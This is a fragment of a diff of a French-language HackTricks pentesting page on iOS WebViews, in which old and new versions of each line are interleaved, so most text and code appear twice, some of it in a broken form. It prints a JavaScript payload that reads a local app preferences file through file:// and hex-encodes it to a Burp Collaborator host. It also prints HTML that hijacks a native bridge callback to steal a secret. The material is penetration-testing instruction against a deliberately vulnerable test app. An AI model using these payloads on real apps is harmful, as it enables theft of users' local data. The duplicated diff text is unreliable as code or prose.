* **WKWebView** : Il peut utiliser les méthodes [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) pour charger des fichiers HTML locaux et `loadRequest:` pour le contenu web. Typiquement, les fichiers locaux sont chargés en combinaison avec des méthodes incluant, entre autres : [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) ou [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). De plus, vous devriez également vérifier si l'application utilise la méthode [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Son premier paramètre est `URL` et contient l'URL à charger dans le WebView, son second paramètre `allowingReadAccessToURL` peut contenir un seul fichier ou un répertoire. S'il contient un seul fichier, ce fichier sera disponible pour le WebView. Cependant, s'il contient un répertoire, tous les fichiers de ce **répertoire seront disponibles pour le WebView**. Par conséquent, il vaut la peine d'inspecter cela et dans le cas où c'est un répertoire, de vérifier qu'aucune donnée sensible ne peut y être trouvée.
|
||||
|
||||
Si vous avez le code source, vous pouvez rechercher ces méthodes. Si vous avez le **binaire compilé**, vous pouvez également rechercher ces méthodes :
|
||||
Si vous avez le code source, vous pouvez rechercher ces méthodes. Ayant le **binaire** **compilé**, vous pouvez également rechercher ces méthodes :
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||||
```
|
||||
### Accès aux fichiers
|
||||
|
||||
* **UIWebView:**
|
||||
* Le schéma `file://` est toujours activé.
|
||||
* L'accès aux fichiers à partir des URL `file://` est toujours activé.
|
||||
* L'accès universel à partir des URL `file://` est toujours activé.
|
||||
* Si vous récupérez l'origine effective d'un `UIWebView` où `baseURL` est également défini sur `nil`, vous verrez qu'elle n'est **pas définie sur "null"**, mais vous obtiendrez quelque chose de similaire à ce qui suit : `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`. Cette origine "applewebdata://" est similaire à l'origine "file://" car elle **n'implémente pas la politique de même origine** et permet l'accès aux fichiers locaux et à toutes les ressources web.
|
||||
* **UIWebView :**
|
||||
* Le schéma `file://` est toujours activé.
|
||||
* L'accès aux fichiers depuis les URL `file://` est toujours activé.
|
||||
* L'accès universel depuis les URL `file://` est toujours activé.
|
||||
* Si vous récupérez l'origine effective d'un `UIWebView` où `baseURL` est également défini sur `nil`, vous verrez qu'elle n'est **pas définie sur "null"**, à la place, vous obtiendrez quelque chose de similaire à ce qui suit : `applewebdata://5361016c-f4a0-4305-816b-65411fc1d780`. Cette origine "applewebdata://" est similaire à l'origine "file://" car elle **n'implémente pas la Politique de Même Origine** et permet l'accès aux fichiers locaux et à toutes les ressources web.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="exfiltrate_file" %}
|
||||
```javascript
|
||||
String.prototype.hexEncode = function(){
|
||||
var hex, i;
|
||||
var result = "";
|
||||
for (i=0; i<this.length; i++) {
|
||||
hex = this.charCodeAt(i).toString(16);
|
||||
result += ("000"+hex).slice(-4);
|
||||
}
|
||||
return result
|
||||
var hex, i;
|
||||
var result = "";
|
||||
for (i=0; i<this.length; i++) {
|
||||
hex = this.charCodeAt(i).toString(16);
|
||||
result += ("000"+hex).slice(-4);
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
var xhr2 = new XMLHttpRequest();
|
||||
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||||
xhr2.send(null);
|
||||
}
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
var xhr2 = new XMLHttpRequest();
|
||||
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||||
xhr2.send(null);
|
||||
}
|
||||
}
|
||||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||
xhr.send(null);
|
||||
|
@ -188,27 +198,27 @@ xhr.send(null);
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
* **WKWebView**:
|
||||
* **`allowFileAccessFromFileURLs`** (`WKPreferences`, `false` by default): cela permet à JavaScript s'exécutant dans le contexte d'une URL de schéma `file://` d'accéder au contenu d'autres URL de schéma `file://`.
|
||||
* **`allowUniversalAccessFromFileURLs`** (`WKWebViewConfiguration`, `false` by default): cela permet à JavaScript s'exécutant dans le contexte d'une URL de schéma `file://` d'accéder au contenu de n'importe quelle origine.
|
||||
* **WKWebView** :
|
||||
* **`allowFileAccessFromFileURLs`** (`WKPreferences`, `false` par défaut) : cela permet à JavaScript exécuté dans le contexte d'une URL de schéma `file://` d'accéder au contenu d'autres URLs de schéma `file://`.
|
||||
* **`allowUniversalAccessFromFileURLs`** (`WKWebViewConfiguration`, `false` par défaut) : cela permet à JavaScript exécuté dans le contexte d'une URL de schéma `file://` d'accéder au contenu de n'importe quelle origine.
|
||||
|
||||
Vous pouvez rechercher ces fonctions dans le code source de l'application ou dans le binaire compilé.\
|
||||
De plus, vous pouvez utiliser le script frida suivant pour trouver ces informations:
|
||||
De plus, vous pouvez utiliser le script frida suivant pour trouver cette information :
|
||||
```bash
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('URL: ', wk.URL().toString());
|
||||
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
||||
console.log('allowFileAccessFromFileURLs: ',
|
||||
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
||||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||||
console.log('allowUniversalAccessFromFileURLs: ',
|
||||
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for WKWebView!');
|
||||
}
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('URL: ', wk.URL().toString());
|
||||
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
||||
console.log('allowFileAccessFromFileURLs: ',
|
||||
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
||||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||||
console.log('allowUniversalAccessFromFileURLs: ',
|
||||
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for WKWebView!');
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
|
@ -217,96 +227,96 @@ frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
|||
|
||||
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
|
||||
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
|
||||
Library/WKWebView/scenario1.html
|
||||
Library/WKWebView/scenario1.html
|
||||
javaScriptEnabled: true
|
||||
allowFileAccessFromFileURLs: 0
|
||||
hasOnlySecureContent: false
|
||||
allowUniversalAccessFromFileURLs: 0
|
||||
```
|
||||
#### Exfiltrer des fichiers arbitraires
|
||||
#### Exfiltration de fichiers arbitraires
|
||||
```javascript
|
||||
//For some reason this payload doesn't work!!
|
||||
//Let me know if you know how to exfiltrate local files from a WKWebView
|
||||
String.prototype.hexEncode = function(){
|
||||
var hex, i;
|
||||
var result = "";
|
||||
for (i=0; i<this.length; i++) {
|
||||
hex = this.charCodeAt(i).toString(16);
|
||||
result += ("000"+hex).slice(-4);
|
||||
}
|
||||
return result
|
||||
var hex, i;
|
||||
var result = "";
|
||||
for (i=0; i<this.length; i++) {
|
||||
hex = this.charCodeAt(i).toString(16);
|
||||
result += ("000"+hex).slice(-4);
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
var xhr2 = new XMLHttpRequest();
|
||||
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||||
xhr2.send(null);
|
||||
}
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
var xhr2 = new XMLHttpRequest();
|
||||
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||||
xhr2.send(null);
|
||||
}
|
||||
}
|
||||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||
xhr.send(null);
|
||||
```
|
||||
## Méthodes natives exposées via les WebViews
|
||||
## Méthodes natives exposées à travers les WebViews
|
||||
|
||||
Depuis iOS 7, Apple a introduit des API qui permettent **la communication entre le runtime JavaScript dans la WebView et les objets natifs** Swift ou Objective-C.
|
||||
Depuis iOS 7, Apple a introduit des API qui permettent **la communication entre l'environnement d'exécution JavaScript dans le WebView et les objets natifs** Swift ou Objective-C.
|
||||
|
||||
Il existe deux façons fondamentales dont le code natif et JavaScript peuvent communiquer :
|
||||
Il existe deux manières fondamentales dont le code natif et JavaScript peuvent communiquer :
|
||||
|
||||
* **JSContext** : lorsqu'un bloc Objective-C ou Swift est assigné à un identificateur dans un `JSContext`, JavaScriptCore enveloppe automatiquement le bloc dans une fonction JavaScript.
|
||||
* **Protocole JSExport** : les propriétés, les méthodes d'instance et les méthodes de classe déclarées dans un protocole hérité de `JSExport` sont mappées sur des objets JavaScript qui sont disponibles pour tout le code JavaScript. Les modifications des objets qui sont dans l'environnement JavaScript sont reflétées dans l'environnement natif.
|
||||
* **JSContext** : Lorsqu'un bloc Objective-C ou Swift est assigné à un identifiant dans un `JSContext`, JavaScriptCore enveloppe automatiquement le bloc dans une fonction JavaScript.
|
||||
* **Protocole JSExport** : Les propriétés, méthodes d'instance et méthodes de classe déclarées dans un protocole hérité de `JSExport` sont mappées sur des objets JavaScript qui sont disponibles pour tout le code JavaScript. Les modifications des objets qui sont dans l'environnement JavaScript se reflètent dans l'environnement natif.
|
||||
|
||||
Notez que **seuls les membres de classe définis dans le protocole `JSExport`** sont accessibles au code JavaScript.\
|
||||
Recherchez le code qui mappe les objets natifs sur le `JSContext` associé à une WebView et analysez la fonctionnalité qu'il expose, par exemple, aucune donnée sensible ne doit être accessible et exposée aux WebViews.\
|
||||
En Objective-C, le `JSContext` associé à une `UIWebView` est obtenu comme suit :
|
||||
Notez que **seuls les membres de classe définis dans le protocole `JSExport`** sont rendus accessibles au code JavaScript.\
|
||||
Faites attention au code qui mappe des objets natifs au `JSContext` associé à un WebView et analysez quelles fonctionnalités il expose, par exemple aucune donnée sensible ne devrait être accessible et exposée aux WebViews.\
|
||||
En Objective-C, le `JSContext` associé à un `UIWebView` est obtenu comme suit :
|
||||
```objectivec
|
||||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||||
```
|
||||
Le code JavaScript dans un **`WKWebView` peut toujours envoyer des messages à l'application native, mais contrairement à `UIWebView`, il n'est pas possible de référencer directement le `JSContext` d'un `WKWebView`. Au lieu de cela, la communication est implémentée à l'aide d'un système de messagerie et de la fonction `postMessage`, qui sérialise automatiquement les objets JavaScript en objets Objective-C ou Swift natifs. Les gestionnaires de messages sont configurés à l'aide de la méthode [`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add).
|
||||
Le code JavaScript dans un **`WKWebView` peut toujours envoyer des messages à l'application native mais contrairement à `UIWebView`, il n'est pas possible de référencer directement le `JSContext`** d'un `WKWebView`. À la place, la communication est mise en œuvre à l'aide d'un système de messagerie et en utilisant la fonction `postMessage`, qui sérialise automatiquement les objets JavaScript en objets natifs Objective-C ou Swift. Les gestionnaires de messages sont configurés en utilisant la méthode [`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add).
|
||||
|
||||
### Activation de JavascriptBridge
|
||||
```swift
|
||||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||||
options_dict["javaScriptBridge"]?.value = enabled
|
||||
let userContentController = wkWebViewConfiguration.userContentController
|
||||
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
||||
options_dict["javaScriptBridge"]?.value = enabled
|
||||
let userContentController = wkWebViewConfiguration.userContentController
|
||||
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
||||
|
||||
if enabled {
|
||||
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
||||
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
||||
}
|
||||
if enabled {
|
||||
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
||||
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
||||
}
|
||||
}
|
||||
```
|
||||
### Envoi de message
|
||||
|
||||
L'ajout d'un gestionnaire de message de script avec le nom `"name"` (ou `"javaScriptBridge"` dans l'exemple ci-dessus) provoque la définition de la fonction JavaScript `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` dans tous les cadres de toutes les vues Web qui utilisent le contrôleur de contenu utilisateur. Il peut ensuite être [utilisé à partir du fichier HTML comme ceci](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33):
|
||||
Ajouter un gestionnaire de messages script avec le nom `"name"` (ou `"javaScriptBridge"` dans l'exemple ci-dessus) fait que la fonction JavaScript `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` soit définie dans tous les cadres de toutes les vues web qui utilisent le contrôleur de contenu utilisateur. Il peut ensuite [être utilisé à partir du fichier HTML comme ceci](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33) :
|
||||
```javascript
|
||||
function invokeNativeOperation() {
|
||||
value1 = document.getElementById("value1").value
|
||||
value2 = document.getElementById("value2").value
|
||||
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
||||
value1 = document.getElementById("value1").value
|
||||
value2 = document.getElementById("value2").value
|
||||
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
||||
}
|
||||
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
|
||||
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"
|
||||
|
||||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||||
```
|
||||
Une fois que la fonction Native est exécutée, elle exécutera généralement **du JavaScript à l'intérieur de la page Web** (voir `evaluateJavascript` ci-dessous) et vous pouvez être intéressé à **remplacer la fonction** qui va être exécutée pour **voler le résultat**.\
|
||||
Par exemple, dans le script ci-dessous, la fonction **`javascriptBridgeCallBack`** va être exécutée avec 2 paramètres (la fonction appelée et le **résultat**). Si vous contrôlez le HTML qui va être chargé, vous pouvez créer une **alerte avec le résultat** comme suit:
|
||||
Une fois que la fonction Native est exécutée, elle exécutera généralement **du JavaScript à l'intérieur de la page web** (voir `evaluateJavascript` ci-dessous). Vous pourriez être intéressé par **le remplacement de la fonction** qui va être exécutée pour **voler le résultat**.
|
||||
Par exemple, dans le script ci-dessous, la fonction **`javascriptBridgeCallBack`** va être exécutée avec 2 paramètres (la fonction appelée et le **résultat**). Si vous contrôlez le HTML qui va être chargé, vous pouvez créer une **alerte avec le résultat** comme suit :
|
||||
```markup
|
||||
<html>
|
||||
<script>
|
||||
document.location = "javascriptbridge://getSecret"
|
||||
function javascriptBridgeCallBack(name, result) {
|
||||
alert(result);
|
||||
}
|
||||
</script>
|
||||
<script>
|
||||
document.location = "javascriptbridge://getSecret"
|
||||
function javascriptBridgeCallBack(name, result) {
|
||||
alert(result);
|
||||
}
|
||||
</script>
|
||||
</html>
|
||||
```
|
||||
### Fonction appelée
|
||||
|
||||
La fonction appelée se trouve dans [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29) :
|
||||
La fonction appelée se trouve dans [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29):
|
||||
```swift
|
||||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||||
|
||||
|
@ -314,9 +324,9 @@ class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
|||
|
||||
case "multiplyNumbers":
|
||||
|
||||
let arg1 = Double(messageArray[1])!
|
||||
let arg2 = Double(messageArray[2])!
|
||||
result = String(arg1 * arg2)
|
||||
let arg1 = Double(messageArray[1])!
|
||||
let arg2 = Double(messageArray[2])!
|
||||
result = String(arg1 * arg2)
|
||||
//...
|
||||
|
||||
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
||||
|
@ -324,38 +334,38 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|||
```
|
||||
### Test
|
||||
|
||||
Pour tester l'envoi d'un postMessage à l'intérieur d'une application, vous pouvez :
|
||||
Pour tester, envoyez un postMessage dans une application, vous pouvez :
|
||||
|
||||
* Changer la réponse des serveurs (MitM)
|
||||
* Effectuer une instrumentation dynamique et injecter la charge utile JavaScript en utilisant des frameworks tels que Frida et les fonctions d'évaluation JavaScript correspondantes disponibles pour les iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) pour `UIWebView` et [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) pour `WKWebView`).
|
||||
* Modifier la réponse du serveur (MitM)
|
||||
* Effectuer une instrumentation dynamique et injecter le payload JavaScript en utilisant des frameworks comme Frida et les fonctions d'évaluation JavaScript correspondantes disponibles pour les iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) pour `UIWebView` et [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) pour `WKWebView`).
|
||||
|
||||
## Débogage des iOS WebViews
|
||||
|
||||
(Tutoriel de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||||
|
||||
Dans les webviews iOS, les messages passés à `console.log()` ne sont _pas_ imprimés dans les journaux Xcode. Il est encore relativement facile de déboguer le contenu Web avec les outils de développement de Safari, bien qu'il y ait quelques limitations :
|
||||
Dans les webviews iOS, les messages envoyés à `console.log()` ne sont _pas_ imprimés dans les logs Xcode. Il est tout de même assez simple de déboguer le contenu web avec les outils de développement de Safari, bien qu'il y ait quelques limitations :
|
||||
|
||||
* Le débogage des webviews iOS nécessite Safari, donc votre ordinateur de développement doit exécuter macOS.
|
||||
* Le débogage des webviews iOS nécessite Safari, donc votre ordinateur de développement doit être sous macOS.
|
||||
* Vous ne pouvez déboguer que les webviews dans les applications chargées sur votre appareil via Xcode. Vous ne pouvez pas déboguer les webviews dans les applications installées via l'App Store ou Apple Configurator.
|
||||
|
||||
Avec ces limitations à l'esprit, voici les étapes pour déboguer à distance un webview dans iOS :
|
||||
Avec ces limitations à l'esprit, voici les étapes pour déboguer à distance une webview dans iOS :
|
||||
|
||||
* Tout d'abord, activez l'inspecteur Web Safari sur votre appareil iOS en ouvrant l'application iOS _Paramètres_, en naviguant vers **Paramètres > Safari > Avancé**, et en activant l'option _Inspecteur Web_.
|
||||
* Tout d'abord, activez l'inspecteur Web Safari sur votre appareil iOS en ouvrant l'application _Réglages_ iOS, en naviguant vers **Réglages > Safari > Avancé**, et en activant l'option _Inspecteur Web_.
|
||||
|
||||
![iOS Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg)
|
||||
![Réglages Safari iOS](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg)
|
||||
|
||||
* Ensuite, vous devez également activer les outils de développement dans Safari sur votre ordinateur de développement. Lancez Safari sur votre machine de développement et accédez à **Safari > Préférences** dans la barre de menus. Dans le volet des préférences qui apparaît, cliquez sur l'onglet _Avancé_ et activez l'option _Afficher le menu Développement_ en bas. Après avoir fait cela, vous pouvez fermer le volet des préférences.
|
||||
* Ensuite, vous devez également activer les outils de développement dans Safari sur votre ordinateur de développement. Lancez Safari sur votre machine de développement et naviguez vers **Safari > Préférences** dans la barre de menu. Dans le panneau de préférences qui apparaît, cliquez sur l'onglet _Avancé_ puis activez l'option _Afficher le menu Développement_ en bas. Après cela, vous pouvez fermer le panneau de préférences.
|
||||
|
||||
![Mac Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg)
|
||||
![Réglages Safari Mac](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg)
|
||||
|
||||
* Connectez votre appareil iOS à votre ordinateur de développement et lancez votre application.
|
||||
* Dans Safari sur votre ordinateur de développement, cliquez sur _Développer_ dans la barre de menus et survolez l'option de menu déroulant qui est le nom de votre appareil iOS pour afficher une liste des instances de webview en cours d'exécution sur votre appareil iOS.
|
||||
* Dans Safari sur votre ordinateur de développement, cliquez sur _Développement_ dans la barre de menu et survolez l'option déroulante qui est le nom de votre appareil iOS pour afficher une liste des instances de webview en cours d'exécution sur votre appareil iOS.
|
||||
|
||||
![Mac Safari develop menu](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg)
|
||||
![Menu développeur Safari Mac](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg)
|
||||
|
||||
* Cliquez sur l'option de menu déroulant pour le webview que vous souhaitez déboguer. Cela ouvrira une nouvelle fenêtre Safari Web Inspector pour inspecter le webview.
|
||||
* Cliquez sur l'option déroulante pour la webview que vous souhaitez déboguer. Cela ouvrira une nouvelle fenêtre d'inspecteur Web Safari pour inspecter la webview.
|
||||
|
||||
![Safari Web Inspector window](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg)
|
||||
![Fenêtre d'inspecteur Web Safari](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg)
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -364,16 +374,14 @@ Avec ces limitations à l'esprit, voici les étapes pour déboguer à distance u
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,77 +1,77 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
